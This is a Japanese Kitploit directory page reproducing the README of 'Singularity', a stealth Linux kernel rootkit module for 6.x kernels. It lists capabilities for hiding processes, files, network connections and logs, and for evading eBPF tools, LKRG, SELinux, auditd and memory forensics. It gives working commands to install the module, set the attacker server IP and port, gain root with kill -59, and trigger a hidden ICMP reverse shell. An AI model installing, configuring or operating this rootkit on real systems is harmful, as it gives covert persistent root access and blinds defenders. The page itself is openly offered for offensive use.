Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Singularity — 6.xカーネル向けのステルスLinuxカーネルrootkit(LKM)で、高度なプロセス/ネットワーク隠蔽、権限昇格、およびeBPFセキュリティツール、LKRG、SELinux、メモリフォレンジックの包括的な回避を備えています。 | Kitploit
ツール/GitHubGitHub/matheuzsecurity/singularity
特権昇格
GitHubmatheuzsecurity/singularity

Singularity

6.xカーネル向けのステルスLinuxカーネルrootkit(LKM)で、高度なプロセス/ネットワーク隠蔽、権限昇格、およびeBPFセキュリティツール、LKRG、SELinux、メモリフォレンジックの包括的な回避を備えています。

リポジトリを見る
1.7k190218日前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Singularity - ステルスLinuxカーネルルートキット

Singularity Rootkit

"フォレンジックに少し仕事をさせてみないか?"

このプロジェクトは、私にとって特別な女性、Mocinhaからインスピレーションを得ました

Singularity は、モダンな6.xカーネル向けに設計された強力な Linux Kernel Module (LKM) ルートキットです。ftrace基盤を介した高度なシステムコールフックにより、包括的なステルス機能を提供します。

詳細研究記事(旧バージョン): Singularity: A Final Boss Linux Kernel Rootkit

EDR回避ケーススタディ: Bypassing Elastic EDR with Singularity

POCビデオ: Singularity vs eBPFセキュリティツール: Singularity vs eBPF security tools

SingularityフックによるeBPFセキュリティの突破: Breaking eBPF

Singularityとは?

Singularityは、カーネルレベルで動作する高度なルートキットであり、以下を提供します:

  • プロセスの隠蔽: あらゆるプロセスをシステムから完全に見えなくします
  • ファイル/ディレクトリの隠蔽: パターンマッチングを使用してファイルを隠蔽します
  • ネットワークステルス: TCP/UDP接続、ポート、conntrackエントリを隠蔽します
  • 権限昇格: シグナルベースの即時rootアクセス
  • ログサニタイズ: カーネルログとシステムジャーナルをリアルタイムでフィルタリング
  • 自己隠蔽: モジュールリストとシステム監視から自身を削除
  • リモートアクセス: ICMPトリガーによる自動隠蔽付きリバースシェル
  • アンチ検出: eBPFベースのランタイムセキュリティツール(Falco、Tracee)を回避、Linux Kernel Runtime Guard(LKRG)をバイパス、io_uringバイパス試行を防止
  • 監査回避: 統計追跡とソケットinodeフィルタリングを備えたnetlinkレベルでの隠蔽プロセスの監査メッセージ破棄
  • メモリフォレンジック回避: /proc/kcore、/proc/kallsyms、/proc/vmallocinfoをフィルタリング
  • Cgroupフィルタリング: cgroup.procsから隠蔽PIDをフィルタリング
  • Syslog回避: do_syslogをフックしてklogctl()カーネルリングバッファアクセスをフィルタリング
  • Debugfs回避: 生ブロックデバイスを読み取るdebugfsなどのツールの出力をフィルタリング
  • conntrackフィルタリング: /proc/net/nf_conntrackおよびnetlink SOCK_DIAG/NETFILTERクエリから接続を隠蔽
  • SELinux回避: ICMPトリガー時にSELinux enforcingモードを自動的にバイパス
  • LKRGバイパス: Linux Kernel Runtime Guardの検出メカニズムを回避
  • eBPFセキュリティバイパス: eBPFベースのランタイムセキュリティツール(Falco、Tracee)からプロセスを隠蔽

特徴

  • シグナルベースの権限昇格 (kill -59)
  • /procおよび監視ツールからの完全なプロセス隠蔽
  • ファイルとディレクトリのパターンベースのファイルシステム隠蔽
  • netstat、ss、conntrack、パケットアナライザからのネットワーク接続の隠蔽
  • 高度なnetlinkフィルタリング(SOCK_DIAG、NETFILTER/conntrackメッセージ)
  • dmesg、journalctl、klogctl向けのリアルタイムカーネルログフィルタリング
  • lsmodおよび/sys/moduleからのモジュール自己隠蔽
  • カーネルtaintフラグの自動正規化
  • eBPFベースの検出を防ぐBPFデータフィルタリング
  • 非同期I/Oバイパスに対するio_uring保護
  • カーネルメッセージとシステムログのログマスキング
  • 標準ルートキット検出ツール(unhide、chkrootkit、rkhunter)の回避
  • tracepointフックによる子プロセスの自動追跡と隠蔽
  • マルチアーキテクチャ対応 (x64 + ia32)
  • rawソケット保護付きネットワークパケットレベルフィルタリング
  • すべてのファイルI/Oバリアント(read、write、splice、sendfile、tee、copy_file_range)に対する保護
  • auditd検出を回避するための統計追跡付きnetlinkレベル監査メッセージフィルタリング
  • 包括的なネットワーク隠蔽のためのソケットinode追跡
  • /sys/fs/cgroup/*/cgroup.procs経由の検出を防ぐCgroup PIDフィルタリング
  • PID列挙を防ぐTaskStats netlinkブロッキング
  • メモリフォレンジックツール(Volatility、crash、gdb)を回避するための/proc/kcoreフィルタリング
  • klogctl()をフィルタリングしカーネルリングバッファ漏洩を防ぐdo_syslogフック
  • debugfsおよび類似のディスクフォレンジックツールを回避するためのブロックデバイス出力フィルタリング
  • writeフックによるjournalctl -k出力フィルタリング
  • ICMPトリガーシェル用のSELinux enforcingモードバイパス機能
  • 隠蔽プロセスに対するLKRG整合性チェックのバイパス
  • BPFリングバッファとperfイベント傍受によるFalcoイベント隠蔽

インストール

前提条件

  • Linuxカーネル 6.x
  • 実行中カーネル用のカーネルヘッダー
  • GCCとMake
  • rootアクセス

クイックインストール```bash

cd /dev/shm git clone https://github.com/MatheuZSecurity/Singularity cd Singularity sudo bash setup.sh cd ..

以上です。このモジュールは自動的に次のことを行います:
- lsmod、/proc/modules、/sys/module から自身を隠します
- カーネルの taint フラグをクリアします
- dmesg、journalctl -k、klogctl から機密文字列をフィルタリングします
- 隠しファイルとプロセスの保護を開始します

### 重要な注意事項

**このモジュールはロード後に自動的に自身を隠します**

**アンロード機能はありません - 削除するには再起動が必要です**

**まず VM でテストしてください - 再起動なしでは削除できません**

## 設定

### サーバーの IP とポートを設定する

**`include/core.h` を編集:**```c
#define YOUR_SRV_IP "192.168.1.100"  // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } }  // IPv6 if needed

modules/icmp.c を編集:```c #define SRV_PORT "8081" // Change this to your desired port

**`modules/bpf_hook.c` を編集:**```c
#define HIDDEN_PORT 8081  // Must match SRV_PORT

modules/hiding_tcp.c を編集:```c #define PORT 8081 // Must match SRV_PORT

**重要**: ネットワークの隠蔽とICMPリバースシェル機能を適切に機能させるには、すべてのポート定義が一致している必要があります。

## 使い方

### プロセスを隠す```bash
# Hide current shell
kill -59 $$

# Hide specific process
kill -59 <PID>

プロセスは ps、top、htop、/proc、およびすべての監視ツールから見えなくなります。すべての子プロセスは自動的に追跡され、非表示になります。

ファイルとディレクトリの非表示

設定されたパターンに一致するファイルは自動的に非表示になります:```bash mkdir singularity echo "secret" > singularity/data.txt

Invisible to ls, find, locate

ls -la | grep singularity

(no output)

But you can still access it

cat singularity/data.txt

secret

cd is blocked for security

cd singularity

bash: cd: singularity: No such file or directory

<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/13713f834a730a67b38b024c092d77eb111a7d38e2fa0ac16a8f36ffd3506f90.png">
</p>

### Rootになる

**シグナルベースの方法:**```bash
kill -59 $$
id  # uid=0(root)

ネットワーク接続を非表示にする

設定したポート(デフォルト: 8081)上の接続は自動的に非表示になります:```bash nc -lvnp 8081

Invisible to all monitoring

ss -tulpn | grep 8081 # (no output) netstat -tulpn | grep 8081 # (no output) lsof -i :8081 # (no output) cat /proc/net/nf_conntrack | grep 8081 # (no output)

Even advanced netlink queries are filtered

ss -tapen | grep 8081 # (no output) conntrack -L | grep 8081 # (no output)

パケットは生ソケットレベル(tpacket_rcv)で破棄され、以下から隠蔽されます:
- /proc/net/* インターフェース(tcp、tcp6、udp、udp6)
- /proc/net/nf_conntrack
- Netlink SOCK_DIAG クエリ(ss、lsof が使用)
- Netlink NETFILTER/conntrack メッセージ(conntrack ツールが使用)

<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/a77a916efc8ee8b9091b3a0ef3acfde44eff570bc022477a3906fac1f623993f.png">
</p>

### ICMP リバースシェル

自動SELinuxバイパスにより、リモートで隠しリバースシェルを起動する:

**1. リスナーを起動:**```bash
nc -lvnp 8081  # Use your configured port

2. ICMPトリガーを送信:```bash sudo python3 scripts/trigger.py <target_ip>

**3. rootシェルを取得する**(すべての子プロセスとともに自動的に隠され、SELinux enforcingモードが有効な場合はバイパスされる)

<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/6d501d17287ba7f674b766dd25b281d2b26d9f420baa3bbc5a9cc9863db541fc.png">
</p>

## 保護メカニズム

### Ftrace制御保護

ftraceを無効化しようとするすべての試みは、静かにインターセプトされブロックされます:```bash
echo 0 > /proc/sys/kernel/ftrace_enabled       # Appears successful but does nothing

保護対象システムコール: write, writev, pwrite64, pwritev, pwritev2, sendfile, sendfile64, splice, vmsplice, tee, copy_file_range, io_uring_enter (PID ごとのインテリジェントキャッシュ付き)

BPF システムコールフィルタリング

bpf_hook.c モジュールは、eBPF ベースのセキュリティツールに対する高度な検出回避システムを実装しています。BPF システムコールを完全にブロックするのではなく(それは検出の指紋となります)、カーネルレベルでデータを選択的にフィルタリングし、隠しプロセスと接続を eBPF プログラムから見えないようにします。

戦略: BPF システムコール自体ではなく、eBPF プログラムが使用するデータ収集・報告機能をインターセプトします。これにより、正規の eBPF ツールは通常どおり動作しつつ、隠されたリソースを認識できないようにします。

保護対象リソース:

  • 隠しプロセスとそのプロセスツリー全体(最大10レベルの親プロセスまで)
  • 設定されたポート(デフォルト: 8081)または設定された IP アドレスへのネットワーク接続
  • 隠しプロセスに関連付けられたソケット inode

インターセプトポイント:

  • イテレータ実行(プロセス/ソケットの列挙)
  • リングバッファ操作(ユーザースペースへのイベント送信)
  • BPF マップ操作(PID ルックアップと挿入)
  • Perf イベント出力(レガシー eBPF イベント配信)
  • Seq ファイル書き込み(出力フォーマット)
  • プログラム実行(コンテキストベースのフィルタリング)

このアプローチは、BPF 操作を完全にブロックした場合に発生するアラートをトリガーすることなく、eBPF セキュリティツールを無効化します。

io_uring 保護

ftrace_enabled および tracing_on へのアクセス試行における io_uring バイパスに対する保護。インテリジェントキャッシュ(PID ごとに1秒間のキャッシュ)により、繰り返しのプロセススキャンを防止し、オーバーヘッドを削減します。

ログのサニタイズ

すべてのカーネルログインターフェースから機密文字列をリアルタイムにフィルタリングします:

ツールをダウンロード